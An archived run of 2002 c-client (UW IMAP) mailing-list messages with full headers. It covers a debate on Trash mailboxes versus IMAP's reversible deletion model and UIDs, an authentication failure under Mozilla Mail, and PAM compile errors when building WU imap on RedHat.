SMTP id g5IEnIeo056058; Tue, 18 Jun 2002 07:49:18 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IEj6w3064052 for ; Tue, 18 Jun 2002 07:45:06 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Jun 18 07:45:05 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IEj4KQ029154 for ; Tue, 18 Jun 2002 07:45:04 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id HAA14917; Tue, 18 Jun 2002 07:44:54 -0700 (PDT) Message-Id: Date: Tue, 18 Jun 2002 07:43:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Antoine Jacoutot Cc: c-client@u.washington.edu Subject: re: missing folders In-Reply-To: <1024394196.316.2.camel@admintest.inexware.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 18 Jun 2002 11:56:35 +0200, Antoine Jacoutot wrote: > I have a problem with my imapd server. > One of my users doesn't have the Drafts, Sent and Trash folders... he > only have the INBOX folder. > I tried to recreate the account, but it didn't change anything. > How can those special folders be recreated ? There is no such thing as a Drafts, Sent, or Trash mailbox. There is only such a thing as INBOX. Anything else ia a private name for the user or a program that the user uses. Trash, in particular, is completely unnatural for c-client and IMAP; and is done only by programmers of clients who don't understand IMAP. From pinedev@shivax2.cac.washington.edu Tue Jun 18 08:15:34 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 08:15:34 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IFFYo1024216 for ; Tue, 18 Jun 2002 08:15:34 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Jun 18 08:15:33 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IFFXMs005393 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 08:15:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IFEhR8039954; Tue, 18 Jun 2002 08:14:44 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IFCMw3066636 for ; Tue, 18 Jun 2002 08:12:22 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Jun 18 08:12:21 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IFCJ8p023153 for ; Tue, 18 Jun 2002 08:12:20 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.4/jtpda-5.4) with ESMTP id g5IFCJ2D004723 for ; Tue, 18 Jun 2002 17:12:19 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g5IFCIm09702 for ; Tue, 18 Jun 2002 17:12:18 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id RAA17836 ; Tue, 18 Jun 2002 17:12:18 +0200 Message-Id: Date: Tue, 18 Jun 2002 17:12:18 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: missing folders In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Jun 2002 07:43:26 -0700 (PDT) Mark Crispin wrote: MC> Trash, in particular, is completely unnatural for c-client and IMAP; and is MC> done only by programmers of clients who don't understand IMAP. I'd like to know why do you think so? What is unnatural about "deleting" the messages by moving them to trash and expunging it later? My client provides both a pine-like and a trash-based operation mode and allows the user to choose which one to use but personally I know which one I prefer (hint: I hate how Pine handles this). So what are the arguments against using trash? Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 18 08:26:28 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 08:26:28 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IFQSo1024662 for ; Tue, 18 Jun 2002 08:26:28 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Jun 18 08:26:27 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IFQQMs005738 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 08:26:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IFPbqt021872; Tue, 18 Jun 2002 08:25:37 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IFMuw3067800 for ; Tue, 18 Jun 2002 08:22:56 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Jun 18 08:22:55 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IFMsKj005986 for ; Tue, 18 Jun 2002 08:22:54 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id IAA15026; Tue, 18 Jun 2002 08:21:59 -0700 (PDT) Message-Id: Date: Tue, 18 Jun 2002 08:18:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: missing folders In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Jun 2002 17:12:18 +0200 (CET), Vadim Zeitlin wrote: > I'd like to know why do you think so? What is unnatural about "deleting" > the messages by moving them to trash and expunging it later? > > So what are the arguments against using trash? "Move to trash and expunge later", implemented by an actual Trash mailbox, is not reversible. A message can not be restored the way it was. The native IMAP model, on the other hand, is reversible. It is completely possible to implement the GUI of a Trash can without requiring an actual Trash mailbox. It just requires creativity. From pinedev@shivax2.cac.washington.edu Tue Jun 18 11:54:50 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 11:54:50 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IIsoo1001792 for ; Tue, 18 Jun 2002 11:54:50 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Jun 18 11:54:49 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IIshMs012702 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 11:54:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IIs6eo093290; Tue, 18 Jun 2002 11:54:06 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IIpIw3087228 for ; Tue, 18 Jun 2002 11:51:19 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Jun 18 11:51:18 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IIpGhR031442 for ; Tue, 18 Jun 2002 11:51:17 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.4/jtpda-5.4) with ESMTP id g5IIpF2D012386 for ; Tue, 18 Jun 2002 20:51:15 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g5IIpFm11752 for ; Tue, 18 Jun 2002 20:51:15 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id UAA18269 ; Tue, 18 Jun 2002 20:51:15 +0200 Message-Id: Date: Tue, 18 Jun 2002 20:51:15 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[4]: missing folders In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Jun 2002 08:18:25 -0700 (PDT) Mark Crispin wrote: MC> On Tue, 18 Jun 2002 17:12:18 +0200 (CET), Vadim Zeitlin wrote: MC> > So what are the arguments against using trash? MC> MC> "Move to trash and expunge later", implemented by an actual Trash mailbox, is MC> not reversible. A message can not be restored the way it was. Why not? Granted, I didn't do it yet (due to lack of time) but this is exactly what I'm going to do -- the UIDs of the messages moved to Trash are remembered and if the user chooses "undo" they are pulled back to the original folder. Ok, their msgno will change -- but this shouldn't matter much. MC> It is completely possible to implement the GUI of a Trash can without MC> requiring an actual Trash mailbox. I don't see how. One of the big advantages of Trash is that it is persistent. I clean up my trash only every week or even more rarely which means that if I receive a reply later and I realized that I forgot the original context I may find it in 9 cases out of 10 in the trash. So although it is possible to emulate Trash without actually moving the messages, it isn't as safe as using the real thing. And, besides, why bother? Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 18 12:01:56 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 12:01:56 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IJ1uo1002133 for ; Tue, 18 Jun 2002 12:01:56 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Jun 18 12:01:55 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IJ1lYx004800 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 12:01:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IJ1AlZ029084; Tue, 18 Jun 2002 12:01:10 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IIwww3100554 for ; Tue, 18 Jun 2002 11:58:58 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Jun 18 11:58:57 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IIwuKR001015 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 18 Jun 2002 11:58:57 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IIwu9L009293 for ; Tue, 18 Jun 2002 11:58:56 -0700 Received: FROM smtp2.cac.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Jun 18 11:58:54 2002 -0700 Received: from Shimo-Tomobiki.Panda.COM (D-140-142-21-18.dhcp2.washington.edu [140.142.21.18]) (authenticated bits=0) by smtp2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IIwrkE012355 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 18 Jun 2002 11:58:54 -0700 Message-Id: Date: Tue, 18 Jun 2002 11:58:54 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re[4]: missing folders In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Jun 2002, Vadim Zeitlin wrote: > Why not? Granted, I didn't do it yet (due to lack of time) but this is > exactly what I'm going to do -- the UIDs of the messages moved to Trash are > remembered and if the user chooses "undo" they are pulled back to the > original folder. Ok, their msgno will change -- but this shouldn't matter > much. You can not "put back" a UID that has been removed. UIDs must be strictly ascending. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jun 18 15:01:43 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 15:01:43 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IM1ho1008721 for ; Tue, 18 Jun 2002 15:01:43 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Jun 18 15:01:42 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IM1ZMs018912 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 15:01:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IM14qt026978; Tue, 18 Jun 2002 15:01:04 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5ILvCw3075416 for ; Tue, 18 Jun 2002 14:57:40 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Jun 18 14:57:12 2002 -0700 Received: from mel-rto3.wanadoo.fr (smtp-out-3.wanadoo.fr [193.252.19.233]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5ILvB8p006096 for ; Tue, 18 Jun 2002 14:57:11 -0700 Received: from mel-rta7.wanadoo.fr (193.252.19.61) by mel-rto3.wanadoo.fr (6.5.007) id 3D09BEC80029DBF4 for c-client@u.washington.edu; Tue, 18 Jun 2002 23:57:09 +0200 Received: from sunset (193.253.226.50) by mel-rta7.wanadoo.fr (6.5.007) id 3CFB1EED009453B0 for c-client@u.washington.edu; Tue, 18 Jun 2002 23:57:09 +0200 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.12 #1 (Debian)) id 17KQyK-0000Ii-00 for ; Tue, 18 Jun 2002 23:57:08 +0200 Message-Id: Date: Tue, 18 Jun 2002 23:57:08 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[5]: missing folders In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Jun 2002 11:58:54 -0700 (Pacific Daylight Time) Mark Crispin wrote: MC> On Tue, 18 Jun 2002, Vadim Zeitlin wrote: MC> > Why not? Granted, I didn't do it yet (due to lack of time) but this is MC> > exactly what I'm going to do -- the UIDs of the messages moved to Trash are MC> > remembered and if the user chooses "undo" they are pulled back to the MC> > original folder. Ok, their msgno will change -- but this shouldn't matter MC> > much. MC> MC> You can not "put back" a UID that has been removed. UIDs must be strictly MC> ascending. Yes, but this is irrelevant here. Maybe I was unclear, so let me explain: I meant that I [am going to] remember their UIDs in the trash folder and if the user wants to undo the delete operation I move these UIDs from the trash back to the current folder. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 18 15:08:10 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 15:08:10 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IM8Ao1009056 for ; Tue, 18 Jun 2002 15:08:10 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Jun 18 15:08:09 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IM89Yx010961 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 15:08:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IM7Wqt019044; Tue, 18 Jun 2002 15:07:33 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IM5bw3043236 for ; Tue, 18 Jun 2002 15:05:37 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Jun 18 15:05:36 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IM5ZhS023157 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 18 Jun 2002 15:05:35 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IM5YSJ029686 for ; Tue, 18 Jun 2002 15:05:34 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Jun 18 15:05:33 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IM5Wdf014740 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 18 Jun 2002 15:05:33 -0700 Message-Id: Date: Tue, 18 Jun 2002 15:05:34 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re[5]: missing folders In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 18 Jun 2002, Vadim Zeitlin wrote: > Yes, but this is irrelevant here. Maybe I was unclear, so let me explain: > I meant that I [am going to] remember their UIDs in the trash folder > and if the user wants to undo the delete operation I move these UIDs from > the trash back to the current folder. But then you have not restored the message to its previous state. Instead, you have created a new copy with a new UID. This also causes a lot more work for disconnected clients. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Jun 24 12:35:58 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Jun 2002 12:35:58 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g5OJZw2P005331 for ; Mon, 24 Jun 2002 12:35:58 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Jun 24 12:35:57 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g5OJZqGL012034 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 24 Jun 2002 12:35:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5OJZ1eo094844; Mon, 24 Jun 2002 12:35:01 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5OJV2w3033792 for ; Mon, 24 Jun 2002 12:31:02 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Jun 24 12:31:02 2002 -0700 Received: from gimli.indtech.edu ([199.8.71.51]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g5OJV1lq031051 for ; Mon, 24 Jun 2002 12:31:01 -0700 Received: from gimli.indtech.edu (gimli.indtech.edu [10.40.10.2]) by gimli.indtech.edu (8.11.6/8.11.6) with ESMTP id g5OJRKn23423 for ; Mon, 24 Jun 2002 14:27:20 -0500 Message-Id: <3D177298.50009@gimli.indtech.edu> Date: Mon, 24 Jun 2002 14:27:20 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: dodo To: c-client@u.washington.edu Subject: POP Authenticate but IMAP doesn't MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I just installed IMAP on a RedHat 7.3 system using make slx. I can connect and read mail via POP, but not IMAP when using Mozilla Mail. I know the IMAP and POP services are running because I can telnet to port 110 and 143. "The PASS command did not succeed. Mail server xxx.xxx.xxx repsponded: bad authentication." Any suggestions would be appreciated. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 27 13:41:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 27 Jun 2002 13:41:18 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g5RKfI2P013864 for ; Thu, 27 Jun 2002 13:41:18 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Jun 27 13:41:15 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g5RKfEvm011982 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 27 Jun 2002 13:41:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5RKeWqt027982; Thu, 27 Jun 2002 13:40:32 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5RKOpw3034148 for ; Thu, 27 Jun 2002 13:24:51 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Jun 27 13:24:49 2002 -0700 Received: from mail.floripa.com.br (floripa.com.br [200.193.65.15] (may be forged)) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g5RKOiR8006566 for ; Thu, 27 Jun 2002 13:24:46 -0700 Received: (qmail 27348 invoked from network); 27 Jun 2002 20:25:06 -0000 Received: from adsl-empresarial-fns-201.brt.telesc.net.br (HELO cpd1) (200.180.4.201) by qmail.floripa.com.br with SMTP; 27 Jun 2002 20:25:05 -0000 Message-Id: <000d01c21e18$c3eaf980$9601010a@artplanprime.com.br> Date: Thu, 27 Jun 2002 17:25:18 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Elvis Cristiano" To: Subject: HELP compilation MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0008_01C21DFF.9B920820" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-BlackHole: Version 0.9.98 by Chris Kennedy (C) 2002 X-BlackHole-Sender: elvis@ativanet.com.br X-BlackHole-Relay: 200.180.4.201 X-BlackHole-Match: No Match X-BlackHole-Info: (null) X-BlackHole-Virus-Status: Clean X-BlackHole-Virus-Type: (null) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C21DFF.9B920820 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi * I have a computer with Linux RedHat 7.2. I got the latest version of WU imap from wu-ftp. I've tried compile with: - make lnx - make lrh (linux red hat) - make slx - make lrh PASSWDTYPE=3Dpam etc. and all times I get the messages like that (for instance): #make lrh=20 ... osdep.c:128: 'PAM_ESTABLISHED_CRED' undeclared (first use in this = function) osdep.c:130: 'PAM_DELETE_CRED' undeclared (first use in this function) osdep.c:131: 'PAM_AUTH_ERR' undeclared (first use in this function) make[3]: *** [osdep.o] Error 1 make[3]: Leaving directory '/tmp/imap-2001a/c-client' make[2]: *** [lnp] Error 2 make[2]: Leaving directory '/tmp/imap-2001a/c-client' make[1]: *** [OSTYPE] Error 2 make[1]: Leaving directory '/tmp/imap-2001a/c-client' make: *** [lrh] Error 2 Please help me!!!! Thanks Elvis=20 ------=_NextPart_000_0008_01C21DFF.9B920820 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi *
     
    I have a computer with Linux RedHat = 7.2.
    I got=20 the latest version of WU imap from wu-ftp.
    I've tried compile = with:
    - make=20 lnx
    - make lrh (linux red hat)
    - make slx
    - make lrh=20 PASSWDTYPE=3Dpam
    etc.
     
    and all times I get the messages like = that (for=20 instance):
